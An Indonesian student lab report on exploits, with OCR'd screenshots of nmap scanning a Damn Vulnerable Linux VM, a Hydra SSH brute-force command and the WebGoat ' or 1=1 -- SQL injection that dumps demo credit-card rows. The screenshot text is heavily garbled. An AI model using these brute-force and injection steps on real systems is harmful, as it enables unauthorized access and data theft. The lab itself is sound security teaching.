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Nama : Somame Morianus Daely
NIM  :09011281419058

Actual Exploit

Exploit adalah sebuah kode yang menyerang keamanan komputer secara spesifik.
Exploit banyak digunakan untuk penentrasi baik secara legal ataupun ilegal untuk
mencari kelemahan (Vulnerability) pada komputer tujuan. Bisa juga dikatakan sebuah
perangkat lunak yang menyerang kerapuhan keamanan (security vulnerability) yang
spesifik namun tidak selalu bertujuan untuk melancarkan aksi yang tidak diinginkan.
Banyak peneliti keamanan komputer menggunakan exploit untuk mendemonstrasikan
bahwa suatu sistem memiliki kerapuhan.

Ada beberapa metode untuk mengklasifikasi exploit. Yang paling umum adalah
dengan melihat cara exploit membuat kontak dengan perangkat lunak yang rentan.
Remote exploit (eksploit jarak jauh) bekerja melalui jaringan dan mengeksploitasi
celah keamanan tanpa adanya akses terlebih dahulu ke sistem korban. Local exploit
(eksploit lokal) mengharuskan adanya akses terlebih dahulu ke sistem yang rentan dan
biasanya meningkatkan keleluasaan orang yang menjalankan exploit melebihi yang
diberikan oleh administrator sistem. Exploit yang menyerang aplikasi klien juga ada,
biasanya terdiri dari server-server yang dimodifikasi yang mengirimkan exploit jika
diakses dengan aplikasi klien. Exploit yang menyerang aplikasi klien juga mungkin
memerlukan beberapa interaksi dengan pengguna, dengan demikian dapat digunakan
dalam kombinasi dengan metode social engineering. Ini adalah cara hacker masuk ke
komputer dan situs web untuk mencuri data.

Klasifikasi lain adalah dengan tindakan terhadap sistem korban: unauthorized
akses data, eksekusi kode sewenang-wenang, penolakan layanan.

Banyak exploit dirancang untuk memberikan akses tingkat-"superuser" ke sistem
komputer. Namun, namun mungkin juga menggunakan beberapa exploit, untuk
mendapatkan akses tingkat rendah terlebih dahulu, kemudian meningkatkan hak akses
berulang kali sampai mencapai root.

Biasanya exploit tunggal hanya dapat mengambil keuntungan dari satu celah
keamanan software tertentu. Sering kali, setelah exploit diterbitkan, celah keamanan
sistem diperbaiki melalui tambalan sehingga exploit tak berlaku lagi untuk perangkat
lunak versi terbaru. Hal ini menjadi alasan mengapa beberapa blackhat hacker tidak
mempublikasikan exploit mereka tetapi merahasiakannya untuk diri sendiri atau
hacker lainnya. Exploit tersebut disebut sebagai 'exploit zero day' dan untuk
mendapatkan akses ke exploit tersebut adalah keinginan utama dari
penyerang-penyerang amatir, yang sering dijuluki script kiddie. Untuk melakukan
exploit tools-tools yang biasa di gunakan yakni Hydr, Medusa, nmap, dan banyak
tools lainnya.
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Pada percobaan ini ada 2 jenis ekxploit yang akan di lakukan yaitu menemukan
password target dengan menggunakan tools hydra dan Webgoat SQL Injection pada
target.

Untuk percobaan ini sistem operasi yang di gunakan adalah linux mint dan yang
akan menjadi target adalah DVL. Sebelum Menyerang target hal pertama yang di
ketahui adalah IP Address target. Untuk IP Address target dapat di lihat pada gambar
di bawabh ini.

Shell - Konsole
f ifconfig
tho Link encap:Ethernet Hwaddr 0 27! 17
inet addr: ; 3 E g .235 Mask:255.255.255.0
inet6 addr: f 12 Scope:Link
UP BROAD NCTR RUNNING MULTICAST MTU:1500 Metric:l
RX packe A error dropped: 0 overr 0 frame:0
O dropped:© overruns:0 carrier:@

8 KiB)

Link encap:Local
inet addr:127.0
ineté ad

frame:0
dropped: @ overru carrier:0
) txqueuelen: @
.0 b) TX bytes:0 (0.0 b)

IP Address Target dalam hal ini DVL

Setelah itu kita harus mengecek apakah kita target kita sedang aktif dan
apakah kita terhubung dengan target. Untuk itu kita akan melakukan perintah
Ping ke IP Address target.
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Terminal - + X
somame@somame-Lenovo-G4708 ~/Desktop & ping 192.168.56.101
PING 192.168.56.181 (192.168.56.101) 56(84) bytes of data.

4 bytes from 192.168.56.101: icmp seg=1 ttl=64 time=3.63 ms
bytes from 192.168.56.181: icmp seq=2 ttl=64 time=1.74 ms
bytes from 192.168.56.181: icmp seg=3 ttl=64 time=1.89 ms
bytes from 192.168.56.181: icmp seg=4 til=64 time=0.734 ms
bytes from 192.168.56.181: icmp seq=5 ttl=64 time=0.905 ms
bytes from 192.168.56.181: icmp seq=6 ttl=64 time=0
bytes from 192.168.56.161: icmp seq=7 ttl=64 time=1.2
bytes from 192.168.56.181: icmp seq=8 ttl=64 time=0.
bytes from 192.168.56.181: icmp seq=9 ttl=64 time=0.978 ms

--- 192.168.56.101 ping statistics ---

9 packets transmitted, 9 received, 8% packet loss, time 8004ms

rtt min/avg/max/mdev = ©.522/1.301/3.637/0.889 ms
@somame-Lenovo-G478 -/Deskiop §

Ping ke IP Address target

Setelah mengetahui IP Address target, hal yang kita lakukan yaitu melihat
service apa yang sedang berjalan pada sistem target. Kita gunakan tools nmap
untuk melihat service yang sedang berjalan dengan perinta. Nmap -sV Ip target.

Terminal e
64 bytes from 192.168.56.101: icmp segq=4 ttl=64 time=1.80 ms
64 bytes from 192.168.56.101: icmp seq=5 ttl=64 time=0.961 ms
~C
--- 192.168.56.181 ping statistics ---
received, packet loss, time 4002ms
4/1.314/2.854/0.774 ms
# nmap -sV 192.168.56.101

Starting Nmap 6.46 ( http://nmap.org ) at 20817-83-22 20:18 WIB
Nmap scan report for 192.168.56.181
Host is up (©.0045s latency).
Mot shown: 995 closed ports
STATE SERVICE VERSION
open ssh OpenSSH 4.4 (protocol 1.99)
open http Apache httpd 1.3.37 ((Unix) PHP/4.4.4)
open ipp CuPS 1.1
3306/tcp open mysql  MySOL (unauthorized)
6008/tcp open X11 (access denied)
MAC Address: ©8:008:27:66:B1:71 (Cadmus Computer Systems)
Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds

Melihat service yang sedang berjalan dengan menggunakan tools nmap

Dari gambar di atas dapat kita lihat service-service yang sedang berjalan
yaitu ssh, http, mysql, dll. Selanjutnya kita akan melakukan bruteforce melalui
service ssh dengan menggunakan tools hydra.
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Untuk melakukan bruteforce kita memerlukan list password seluruh
kemungkinan password yang di gunakan user. Dalam hal terdapat data
password.list yang akan di gunakan. Perinta yang di lakukan yaitu;

Hydra -1 —P password.list 192.168.100.10 ssh

Coding

SSH  PHPMyAd

All Applications B i
i

] Damn Vulnerable Linux L4 ] Ethical Hacking

@ BeReSlaxed

] services » €] Development HE, "} & Web Exploitation Package 01

< VLC Media Player €] Tools ¥ €] Reverse Code Engineering ¥ ] Wieb Exploitation Package 02 [J
!.'fWink €] Valuable Websites ¥ €] Coding » % WebScarab

£ xvidcap o start WebGoat Port 80

-
' Screenshot o Start WebGoat Port 8080

- i &' Start WebGoat Frontend (Port 50)
%! Start WebGoat Frontend (Port 8080)

¥ Stop WebGoat

23 Find Files/Folders
o TrueCrypt

- Webgoat+WebScarab Manual

. Lock Session

«/ Log Out...

Menu Webgoat

Using CATALINA HOME: Jtomcat
Using CATALINA_ TMPDIR: omcat,/temp
Using JAVA HOME: Jusr/lib/java

Open http://127.0.0.1/WebGoat/attack
Username. guest
assword: guest
Or try http://guest:guest@l2?.0.0.1/WebGoat/attack

Password dan Username webgoat
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File Edit Wiew History Bookmarks Tools Help

- v,
= = @ (X 6' hitp://127 0.0 1/WebGoat/Attack

[ ITAC || DVL Portal [| DVL Support || Crackmes.de || CodeBreakers

nect
&) @ Authentication Required = 5
7~} Enter username and password for "WebGoat Application” at http://127.0.0.1
User Name
iguest
Password

1»«*4~«>«|
[] Use Password Manager to remember this password

Cancel oK

Try Again

Login pada Webgoat

owaspwebceatvs.t [

Thank you for using YWebGoat!

This program is & demonstration of common web application flaws. The exercises are intended to provide
hands on experience with application penetration testing technigues.

The WebGoat project is lead by Bruce Mayhew. Please send all comments to Bruce at webgoat@owasp.org.

OWASP ASPEI:T)

The Opeen Wb Appilication Security Praject
Application Security Specialists

Lesson Contributers

Agpect Security
Sherit Koussa
Fiornain Brechet

WebGoat Design Team
Bruce Mayhew
Davidd Anclerson
Fingan Daswes
Laurence Casey {Graphics)
Documentation Contributers

Special Thanks for ¥5.1
Sherif Koussa

Dwigilgpég:rgng;?we Sttt macacdamian.com)
. Erwin Geirnaert
(P zinsecliFtycony {httpcitwsy Zionsecurity.comiy

To all who have sent comments

Start WebGoat

Tampilan Home Page webgoat

Selanjtunya kita memilih tombol start webgoat kemudian pilih menu

Injection Flaws lalu pilih String SQL injetction.
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Logout @

Http Basics

OWASP WehGoat V5.1

Admin Functions ;
Gereral Restart this Lesson

Code Quality
Concurrency
Urralicated Parameters

A Contral F o " . . . .
M?ﬁ:zticigorr? Fla?v“;s The uzer should become familiar with the features of Web Goat by manipulating the above buttons to view hints, show

Session Maragement Flaws the HTTF request parameters, the HTTP request cookies, and the Java source code.

Cross-Site Scripting (R55)

Buffer Overflows

Irjection Flaws Enter your name: Go!
Command Injection
Blind SQL Injection
Murneric SEL Injection
Log Spoofing
APATH Injection
String SQL Injection

LAE: SQL Injection
Stage 1: String SGL
Injection
Stage 2: Parameterized
Lluery #1
Stage 3: Mumeric SQL
Injection
Stage 4: Parameterized
Lluery #2

Database Backdoors

Enter your name in the input field below and press “go” to submit. The server will accept the request, reverse the
input, and display it back to the user, illustrating the basics of handling an HTTP request.

OW&5F Founcation |

Improper Error Handling

Tampilan Page String SQL Injection

Logout @&

OWASP WebGoat V5.1

Adriin Functions

General Festart this Lesson
Eggguﬁ%ﬂg S0L iniection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy

. to learn and the damace caused can range from considerable to complete system compromise. Despite these risks, an
%;a;?aggﬁtroa{aﬁgs}:rs increcible nurmber of systems on the internet are susceptible to this form of attack.

Authentication Flaws

Session Management Flaws Mot anly is it a threat easily instigated, it is also a threat that, with alittle common-senze and forethought, can easily

Cross-Site Scripting (X553 be prevented
Iagg?irnr??ar\fllfgws It is always good practice to sanitize all input data, especially data that will used in 05 command, scripts, and

database queiries, even if the threat of SOL iniection has been prevented in some ather manner.
General Goalis )

Command Injection

Blind SQL Injection

Mumeric SGL Injsction The farm below allows auser to view their credit card nurmbers. Try to inject an SOL string that results in all the credit
card nurnkers being displayed. Try the user name of 'Smith’

Log Spoofing

APATH Injection - 2

String 50L Injection Enter your last name: [Smith Go!

LAE: SOL Injection EELECT * FROM user_data WHERE last_name = |Smith!

Stage 1: String SQL
ECTion USERID||FIRST_MAME [LAST_MNAME [CC_MUMBER ||CC_TYPE||COOKIE||LOGIN_COUNT

Stane 2. Parameterized 102 |[dan Smith 435600002222 [MC B
Starge - Nurneris S0 0z |[onn Bmith |[Femeznonnzzzaz [BMER g
FECTION

St%e 4 Parameterized O'WASE Foundation
LUET!

Databaze Backdoors

Iparoper Ertor Handling
Insecure Storage

Deenial of Service
Inzecure Configuration
e Services

Tampilan hasil pencarian nama smith
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* Congratulations. ¥ou have successfully completed this lesson.
* Bet you can't do it again® This lesson has detected your successfull attack and has now switched to a
defenzive mode. Try again to attack a parameterized query.

Enter your last name: Itest' or1=1 -- Go!

SELECT * FRO user_data WHERE last name = 'test' or 1=1 --'

[USERID [FIRST_NAME [LAST_NAME [CC_NUMBER ||CC_TYPE |COOKIE [LOGIN_COUNT
[101 [ae [snow |ae7ES4321 [w/15, | o
[1o1 foe [snow 2234200085411 |[MC | o
[1o2  Mohn [Smith 2435600002222 | [MC | o
[fo2  [ohn [Smith [4352209902222 [AMEX || o
[103  [[Jane |Piane [123456789  |[MC | o
[103  [[ane |Fiane [333408703333 |[aMEX || o
[10312 | [Jally [Hershey |1 7EEoE7ES [MC | o
[10312 [l [Hershey 333300003333 |[aMER || o
[10323 || Grumpy [white CEEEEEEEE [MC | o
[10323 ||Grumpy [white 33413003333 [amER || o
15603 |[Peter |Sand 123609769 [MC | o
[15603 |[Peter |5and 336603453333 |[AMER || o
[15613 |[Joesph [Something  |[33843453533  [aMER || @

Hasil Penggunaan SQL injection

Analisa;

Dari praktikum kali ini tujuannya adalah untuk mengetahui
kelemahan dari sistem yang akan menjadi target kita dan dengan
mengetahui kelemahan-kelemahan itu kita dapat menutupi kelemahan itu.
Kegiatan pertama yaitu mencari password dan username target.
Kelemahan dari sistem ini adalah mudahnya password yang di gunakan
oleh sistem. Penggunaan kombinasi karakter angka huruf dan simbol
perlu di lakukan untuk membuat password lebih aman.

Hal kedua yang dilakukan yaitu Injection adalah untuk menampilkan
seluruh data yang terdapat pada database sistem, ini terjadi karena
lemahnya sistem sehingga terdapat celah pada program karena tidak
melakukan filter terlebih dahulu terhadap inputan yang di berikan kepada
sistem
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